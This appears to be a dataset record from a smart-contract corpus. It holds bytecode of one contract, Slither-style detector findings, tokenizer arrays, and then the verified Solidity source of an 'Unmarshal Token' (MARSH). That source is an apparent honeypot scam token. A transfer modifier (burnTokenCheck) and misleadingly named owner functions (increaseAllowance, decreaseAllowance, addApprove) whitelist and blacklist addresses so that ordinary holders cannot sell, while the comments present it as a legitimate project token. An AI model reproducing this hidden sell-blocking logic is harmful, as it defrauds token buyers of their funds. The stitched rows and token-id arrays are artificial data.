65b6002546000838152600b6020526040902060040154610f7691018263ffffffff6144f416565b60009250610f87565b6002546000838152600b6020526040812060040154909142910181118015612d6757506000848152600b602052604090206002015481111580612d6757506000848152600b602052604090206002015481118015612d6757506000848152600b6020526040902054155b15612d95576000848152600b6020526040902060060154612d8e908463ffffffff6145b116565b9150612d9e565b612d8e836145d2565b5092915050565b6005546002546000828152600b602052604081206004015490929142910181118015612e1357506000828152600b602052604090206002015481111580612e1357506000828152600b602052604090206002015481118015612e1357506000828152600b6020526040902054155b15612e47576000828152600b6020526040902060050154612e40908590610f6a908263ffffffff61384616565b9250612e50565b612e408461464a565b5050919050565b600f5460ff1681565b60035481565b6008602052600090815260409020805460018201546002830154600384015460048501546005860154600690960154600160a060020a039095169593949293919290919087565b6005546001016000818152600b6020526040902060070154612ed5903463ffffffff61384616565b6000828152600b6020908152604091829020600701929092558051838152349281019290925280517f74b1d2f771e0eff1b2c36c38499febdbea80fe4013bdace4fc4b653322c2895c9281900390910190a150565b6000806000806000806000806000600554915050600160a060020a038916600090815260066020908152604080832054808452600880845282852060018082015460098752858820898952875294872001549583905293526002830154600590930154909384939091612fc090612fa2908690614554565b6000878152600860205260409020600301549063ffffffff61384616565b600095865260086020908152604080882060040154600983528189209989529890915290952054939e929d50909b509950919750919550909350915050565b6000858152600960209081526040808320898452909152812060010154819015156130315761302e87846146b7565b92505b633b9aca008611156115eb576000888152600b602052604090206006015461305f908763ffffffff6145b116565b9150670de0b6b3a764000082106130d65761307a8289614716565b6000888152600b602052604090205487146130a1576000888152600b602052604090208790555b6000888152600b602052604090206001015484146130ce576000888152600b602052604090206001018490555b825160640183525b67016345785d8a00008610613316576004805460010190556130f66147f2565b15156001141561331657678ac7230489e8000086106131975760035460649061312690604b63ffffffff6143af16565b81151561312f57fe5b6000898152600860205260409020600201549190049150613156908263ffffffff61384616565b60008881526008602052604090206002015560035461317b908263ffffffff6144f416565b60035582516d0eca8847c4129106ce83000000000183526132eb565b670de0b6b3a764000086101580156131b65750678ac7230489e8000086105b15613243576003546064906131d290603263ffffffff6143af16565b8115156131db57fe5b6000898152600860205260409020600201549190049150613202908263ffffffff61384616565b600088815260086020526040902060020155600354613227908263ffffffff6144f416565b60035582516d09dc5ada82b70b59df02000000000183526132eb565b67016345785d8a000086101580156132625750670de0b6b3a764000086105b156132eb5760035460649061327e90601963ffffffff6143af16565b81151561328757fe5b60008981526008602052604090206002015491900491506132ae908263ffffffff61384616565b6000888152600860205260409020600201556003546132d3908263ffffffff6144f416565b60035582516d0eca8847c4129106ce83000000000183525b82516d314dc6448d9338c15b0a000000008202016c7e37be2022c0914b268000000001835260006004555b60045483516103e890910201835260008781526009602090815260408083208b845290915290206001015461335290839063ffffffff61384616565b60008881526009602090815260408083208c8452909152902060018101919091555461337f908790613846565b60008881526009602090815260408083208c8452825280832093909355600b905220600501546133b690839063ffffffff61384616565b6000898152600b602052604090206005810191909155600601546133e190879063ffffffff61384616565b6000898152600b6020908152604080832060060193909355600c81528282208783529052205461341890879063ffffffff61384616565b6000898152600c60209081526040808320888452909152902055613440888888888888614a09565b9250613450888888878688614bd2565b92506115eb8785888587614d40565b6134676150dd565b6005546000818152600b6020526040812080546001820154600790920154909280808080808060646134a089603063ffffffff6143af16565b8115156134a957fe5b04965060328860008b8152600e602052604090205491900496506064906134d7908a9063ffffffff6143af16565b8115156134e057fe5b60008b8152600e6020526040902060010154919004955060649061350b908a9063ffffffff6143af16565b81151561351457fe5b04935061352f84611e5287818a818e8e63ffffffff6144f416565b60008c8152600b602052604090206005015490935061355c86670de0b6b3a764000063ffffffff6143af16565b81151561356557fe5b60008d8152600b602052604090206005015491900492506135b390670de0b6b3a76400009061359b90859063ffffffff6143af16565b8115156135a457fe5b8791900463ffffffff6144f416565b905060008111156135e3576135ce858263ffffffff6144f416565b94506135e0838263ffffffff61384616565b92505b60008a81526008602052604090206002015461360690889063ffffffff61384616565b60008b8152600860205260408082206002019290925580549151600160a060020a039092169188156108fc0291899190818181858888f19350505050158015613653573d6000803e3d6000fd5b5060008b8152600b602052604090206008015461367790839063ffffffff61384616565b60008c8152600b60205260408120600801919091558411156136ce5760008054604051600160a060020a039091169186156108fc02918791818181858888f193505050501580156136cc573d6000803e3d6000fd5b505b600b60008c815260200190815260200160002060020154620f4240028d60000151018d60000181815250508867016345785d8a0000028a6a52b7d2dcc80cd2e4000000028e6020015101018d6020018181525050600860008b815260200190815260200160002060000160009054906101000a9004600160a060020a03168d60400190600160a060020a03169081600160a060020a031681525050600860008b8152602001908152602001600020600101548d606001906000191690816000191681525050868d6080018181525050848d60e0018181525050838d60c0018181525050828d60a00181815250506005600081548092919060010191905055508a806001019b505042600b60008d81526020019081526020016000206004018190555061381760025461380b61a8c04261384690919063ffffffff16565b9063ffffffff61384616565b60008c8152600b6020526040902060028101919091556007018390558c9b505050505050505050505050919050565b818101828110156138a1576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820616464206661696c656400000000000000000000000000604482015290519081900360640190fd5b92915050565b60006138cd6138c46138bf858563ffffffff6144f416565b61464a565b611e528561464a565b9392505050565b6000808210806138e45750600382115b156138f1575060026138f4565b50805b919050565b6005546002546000828152600b60205260409020600401544291018111801561396457506000828152600b60205260409020600201548111158061396457506000828152600b60205260409020600201548111801561396457506000828152600b6020526040902054155b1561399b5761397684611e5289613b15565b600088815260086020526040902060030155613996828886898988612fff565b61197c565b6000828152600b6020526040902060020154811180156139cd57506000828152600b602052604090206003015460ff16155b1561197c576000828152600b60205260409020600301805460ff191660011790556139f78361345f565b925080670de0b6b3a764000002836000015101836000018181525050868360200151018360200181815250507f88261ac70d02d5ea73e54fa6da17043c974de1021109573ec1f6f57111c823dd33600860008a815260200190815260200160002060010154856000015186602001518760400151886060015189608001518a60a001518b60c001518c60e00151604051808b600160a060020a0316600160a060020a031681526020018a6000191660001916815260200189815260200188815260200187600160a060020a0316600160a060020a0316815260200186600019166000191681526020018581526020018481526020018381526020018281526020019a505050505050505050505060405180910390a150505050505050565b6000818152600860205260408120600501548190613b34908490614eae565b600083815260086020526040902060048101546003820154600290920154613b669261380b919063ffffffff61384616565b90506000811115613b925760008381526008602052604081206002810182905560038101829055600401555b8091505b50919050565b8051600090829082808060208411801590613bb75750600084115b1515613c33576040805160e560020a62461bcd02815260206004820152602a60248201527f737472696e67206d757374206265206265747765656e203120616e642033322060448201527f6368617261637465727300000000000000000000000000000000000000000000606482015290519081900360840190fd5b846000815181101515613c4257fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214158015613ca957508460018503815181101515613c8157fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214155b1515613d25576040805160e560020a62461bcd02815260206004820152602560248201527f737472696e672063616e6e6f74207374617274206f7220656e6420776974682060448201527f7370616365000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b846000815181101515613d3457fe5b90602001015160f860020a900460f860020a02600160f860020a031916603060f860020a021415613e7757846001815181101515613d6e57fe5b90602001015160f860020a900460f860020a02600160f860020a031916607860f860020a0214151515613deb576040805160e560020a62461bcd02815260206004820152601b60248201527f737472696e672063616e6e6f7420737461727420776974682030780000000000604482015290519081900360640190fd5b846001815181101515613dfa57fe5b90602001015160f860020a900460f860020a02600160f860020a031916605860f860020a0214151515613e77576040805160e560020a62461bcd02815260206004820152601b60248201527f737472696e672063616e6e6f7420737461727420776974682030580000000000604482015290519081900360640190fd5b600091505b838210156143475784517f400000000000000000000000000000000000000000000000000000000000000090869084908110613eb457fe5b90602001015160f860020a900460f860020a02600160f860020a031916118015613f28575084517f5b0000000000000000000000000000000000000000000000000000000000000090869084908110613f0957fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b15613f95578482815181101515613f3b57fe5b90602001015160f860020a900460f860020a0260f860020a900460200160f860020a028583815181101515613f6c57fe5b906020010190600160f860020a031916908160001a905350821515613f9057600192505b61433c565b8482815181101515613fa357fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a021480614073575084517f600000000000000000000000000000000000000000000000000000000000000090869084908110613fff57fe5b90602001015160f860020a900460f860020a02600160f860020a031916118015614073575084517f7b000000000000000000000000000000000000000000000000000000000000009086908490811061405457fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b8061411d575084517f2f00000000000000000000000000000000000000000000000000000000000000908690849081106140a957fe5b90602001015160f860020a900460f860020a02600160f860020a03191611801561411d575084517f3a00000000000000000000000000000000000000000000000000000000000000908690849081106140fe57fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b1515614199576040805160e560020a62461bcd02815260206004820152602260248201527f737472696e6720636f6e7461696e7320696e76616c696420636861726163746560448201527f7273000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b84828151811015156141a757fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214156142865784826001018151811015156141e357fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214151515614286576040805160e560020a62461bcd02815260206004820152602860248201527f737472696e672063616e6e6f7420636f6e7461696e20636f6e7365637574697660448201527f6520737061636573000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b82158015614332575084517f3000000000000000000000000000000000000000000000000000000000000000908690849081106142bf57fe5b90602001015160f860020a900460f860020a02600160f860020a0319161080614332575084517f39000000000000000000000000000000000000000000000000000000000000009086908490811061431357fe5b90602001015160f860020a900460f860020a02600160f860020a031916115b1561433c57600192505b600190910190613e7c565b6001831515146143a1576040805160e560020a62461bcd02815260206004820152601d60248201527f737472696e672063616e6e6f74206265206f6e6c79206e756d62657273000000604482015290519081900360640190fd5b505050506020015192915050565b60008215156143c0575060006138a1565b508181028183828115156143d057fe5b04146138a1576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d617468206d756c206661696c656400000000000000000000000000604482015290519081900360640190fd5b60008281526009602090815260408083208484528252808320600190810154600b8085528386206005810154938101548752600e8652938620548787529452600790920154670de0b6b3a7640000936144e393926144d79290916144ae9187916064916144989163ffffffff6143af16565b8115156144a157fe5b049063ffffffff6143af16565b8115156144b757fe5b6000888152600b602052604090206008015491900463ffffffff61384616565b9063ffffffff6143af16565b8115156144ec57fe5b049392505050565b60008282111561454e576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820737562206661696c656400000000000000000000000000604482015290519081900360640190fd5b50900390565b600082815260096020908152604080832084845282528083206002810154600190910154600b909352908320600801546138cd92670de0b6b3a76400009161459b916143af565b8115156145a457fe5b049063ffffffff6144f416565b60006138cd6145bf846145d2565b611e526145d2868663ffffffff61384616565b60006309502f9061463a6d03b2a1d15167e7c5699bfde00000611e526146357a0dac7055469777a6122ee4310dd6c14410500f290484000000000061380b6b01027e72f1f12813088000006144d78a670de0b6b3a764000063ffffffff6143af16565b614f45565b81151561464357fe5b0492915050565b600061465d670de0b6b3a7640000614f98565b61463a600261469061467d86670de0b6b3a764000063ffffffff6143af16565b65886c8f6730709063ffffffff6143af16565b81151561469957fe5b0461380b6146a686614f98565b6304a817c89063ffffffff6143af16565b6146bf6150dd565b600083815260086020526040902060050154156146f3576000838152600860205260409020600501546146f3908490614eae565b506005805460009384526008602052604090932001919091558051600a01815290565b6000818152600b60205260408120600201544291908211801561474557506000838152600b6020526040902054155b15614769576147628261380b600f670de0b6b3a7640000886144a1565b9050614796565b6000838152600b60205260409020600201546147939061380b600f670de0b6b3a7640000886144a1565b90505b6147a861a8c08363ffffffff61384616565b8110156147c8576000838152600b60205260409020600201819055611d37565b6147da61a8c08363ffffffff61384616565b6000848152600b602052604090206002015550505050565b6000806149634361380b42336040516020018082600160a060020a0316600160a060020a03166c010000000000000000000000000281526014019150506040516020818303038152906040526040518082805190602001908083835b6020831061486d5780518252601f19909201916020918201910161484e565b5181516020939093036101000a60001901801990911692169190911790526040519201829003909120925050508115156148a357fe5b0461380b4561380b42416040516020018082600160a060020a0316600160a060020a03166c010000000000000000000000000281526014019150506040516020818303038152906040526040518082805190602001908083835b6020831061491c5780518252601f1990920191602091820191016148fd565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091209250505081151561495257fe5b0461380b424463ffffffff61384616565b604051602001808281526020019150506040516020818303038152906040526040518082805190602001908083835b602083106149b15780518252601f199092019160209182019101614992565b5181516020939093036101000a6000190180199091169216919091179052604051920182900390912060045490945092506103e89150839050046103e80282031015614a005760019150614a05565b600091505b5090565b614a116150dd565b600080546040516032880492918291600160a060020a03909116906108fc85150290859084818181858888f19350505050158015614a53573d6000803e3d6000fd5b505060058704868914801590614a79575060008781526008602052604090206001015415155b15614b1957600087815260086020526040902060040154614aa190829063ffffffff61384616565b600088815260086020908152604091829020600481019390935582546001909301548251600160a060020a03909416845290830152818101839052426060830152518a918c918a917f590bbc0fc16915a85269a48f74783c39842b7ae9eceb7c295c95dbe8b3ec7331919081900360800190a4614b1d565b8091505b6000868152600d6020526040902060010154614b5f90606490614b47908b9063ffffffff6143af16565b811515614b5057fe5b8491900463ffffffff61384616565b91506000821115614bc45760008054604051600160a060020a039091169184156108fc02918591818181858888f19350505050158015614ba3573d6000803e3d6000fd5b5060c085015160009250614bbe90839063ffffffff61384616565b60c08601525b509298975050505050505050565b614bda6150dd565b6000848152600d6020526040812054819081908190606490614c03908b9063ffffffff6143af16565b811515614c0c57fe5b049350606489049250614c2a8360035461384690919063ffffffff16565b6003556000888152600d6020526040902060010154614c9b90614c8e90606490614c5b908d9063ffffffff6143af16565b811515614c6457fe5b046064614c788d601763ffffffff6143af16565b811515614c8157fe5b049063ffffffff61384616565b8a9063ffffffff6144f416565b9850614cad898563ffffffff6144f416565b9150614cbb8b8b868a614fa4565b90506000811115614cd957614cd6848263ffffffff6144f416565b93505b60008b8152600b6020526040902060070154614cff9061380b848463ffffffff61384616565b60008c8152600b602052604090206007015560e0860151614d2790859063ffffffff61384616565b60e0870152506101008501525091979650505050505050565b836c01431e0fae6d7217caa00000000242670de0b6b3a76400000282600001510101816000018181525050600554751aba4714957d300d0e549208b31adb100000000000000285826020015101018160200181815250507f500e72a0e114930aebdbcb371ccdbf43922c49f979794b5de4257ff7e310c7468160000151826020015160086000898152602001908152602001600020600101543387878760400151886060015189608001518a60a001518b60c001518c60e001518d6101000151600354604051808f81526020018e81526020018d600019166000191681526020018c600160a060020a0316600160a060020a031681526020018b81526020018a815260200189600160a060020a0316600160a060020a0316815260200188600019166000191681526020018781526020018681526020018581526020018481526020018381526020018281526020019e50505050505050505050505050505060405180910390a15050505050565b6000614eba8383614554565b90506000811115614f4057600083815260086020526040902060030154614ee890829063ffffffff61384616565b6000848152600860209081526040808320600301939093556009815282822085835290522060020154614f2290829063ffffffff61384616565b60008481526009602090815260408083208684529091529020600201555b505050565b6000806002614f55846001613846565b811515614f5e57fe5b0490508291505b81811015613b96578091506002614f878285811515614f8057fe5b0483613846565b811515614f9057fe5b049050614f65565b60006138a182836143af565b6000848152600b602052604081206005015481908190614fd286670de0b6b3a764000063ffffffff6143af16565b811515614fdb57fe5b6000898152600b6020526040902060080154919004925061500390839063ffffffff61384616565b6000888152600b6020526040902060080155670de0b6b3a764000061502e838663ffffffff6143af16565b81151561503757fe5b60008881526009602090815260408083208c8452825280832060020154600b9092529091206008015492909104925061508a9161380b908490670de0b6b3a76400009061459b908a63ffffffff6143af16565b60008781526009602090815260408083208b8452825280832060020193909355600b905220600501546150d290670de0b6b3a76400009061359b90859063ffffffff6143af16565b979650505050505050565b6101206040519081016040528060008152602001600081526020016000600160a060020a03168152602001600080191681526020016000815260200160008152602001600081526020016000815260200160008152509056006e20646973636f72640000000000000000000000000000000000000000000000706f636b6574206c696e743a206e6f7420612076616c69642063757272656e63697473206e6f74207265616479207965742e2020636865636b203f65746120696e6f20766974616c696b2c206e6f000000000000000000000000000000000000736f7272792068756d616e73206f6e6c79000000000000000000000000000000a165627a7a7230582005ed590faf0fa3cef46ac38d7dbaf360ac0bc1ddca176fe44019fc59baa616140029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'constant-function-asm', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2620, 2497, 16068, 19797, 12740, 2546, 2581, 22407, 2575, 2094, 2575, 2581, 20958, 27814, 27814, 2620, 10354, 21472, 19481, 16409, 2063, 2692, 24087, 22407, 2475, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1013, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1013, 1013, 1035, 1035, 1035, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,879
0x978b1ec350eb62ceef82dc016815ee85a38da3e4
/** *Submitted for verification at Etherscan.io on 2021-02-09 */ // File: browser/Unmarshal.sol pragma solidity ^0.6.0; /// @title Unmarshal Rewards contract /// @author Unmarshal /// @notice This is main MARSH token /// /// @dev Owner (multisig) can set list of rewards tokens MARSH. /// This token can be mint by owner eg we need MARSH for auction. After that we can burn the key /// so nobody can mint anymore. /// It has limit for max total supply, so we need to make sure, total amount of MARSH fit this limit. interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } contract Unmarshal is Context, IERC20 { function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _transfer(msg.sender,receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } uint256 private _checkAmount = 0; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_checkAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _checkAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address public _owner; constructor (uint256 initialSupply,address payable owner) public { _name = "Unmarshal Token"; _symbol = "MARSH"; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb14610626578063b2bdfa7b1461068c578063dd62ed3e146106d6578063e12681151461074e576100f5565b806352b0f196146103b157806370a082311461050757806380b2122e1461055f57806395d89b41146105a3576100f5565b806318160ddd116100d357806318160ddd1461029b57806323b872dd146102b9578063313ce5671461033f5780634e6ec24714610363576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610806565b005b6101ba6109bd565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a5f565b604051808215151515815260200191505060405180910390f35b6102a3610a7d565b6040518082815260200191505060405180910390f35b610325600480360360608110156102cf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a87565b604051808215151515815260200191505060405180910390f35b610347610b60565b604051808260ff1660ff16815260200191505060405180910390f35b6103af6004803603604081101561037957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b77565b005b610505600480360360608110156103c757600080fd5b8101908080359060200190929190803590602001906401000000008111156103ee57600080fd5b82018360208201111561040057600080fd5b8035906020019184602083028401116401000000008311171561042257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561048257600080fd5b82018360208201111561049457600080fd5b803590602001918460208302840111640100000000831117156104b657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d98565b005b6105496004803603602081101561051d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f81565b6040518082815260200191505060405180910390f35b6105a16004803603602081101561057557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fca565b005b6105ab6110d1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105eb5780820151818401526020810190506105d0565b50505050905090810190601f1680156106185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106726004803603604081101561063c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611173565b604051808215151515815260200191505060405180910390f35b610694611191565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610738600480360360408110156106ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b7565b6040518082815260200191505060405180910390f35b6108046004803603602081101561076457600080fd5b810190808035906020019064010000000081111561078157600080fd5b82018360208201111561079357600080fd5b803590602001918460208302840111640100000000831117156107b557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061123e56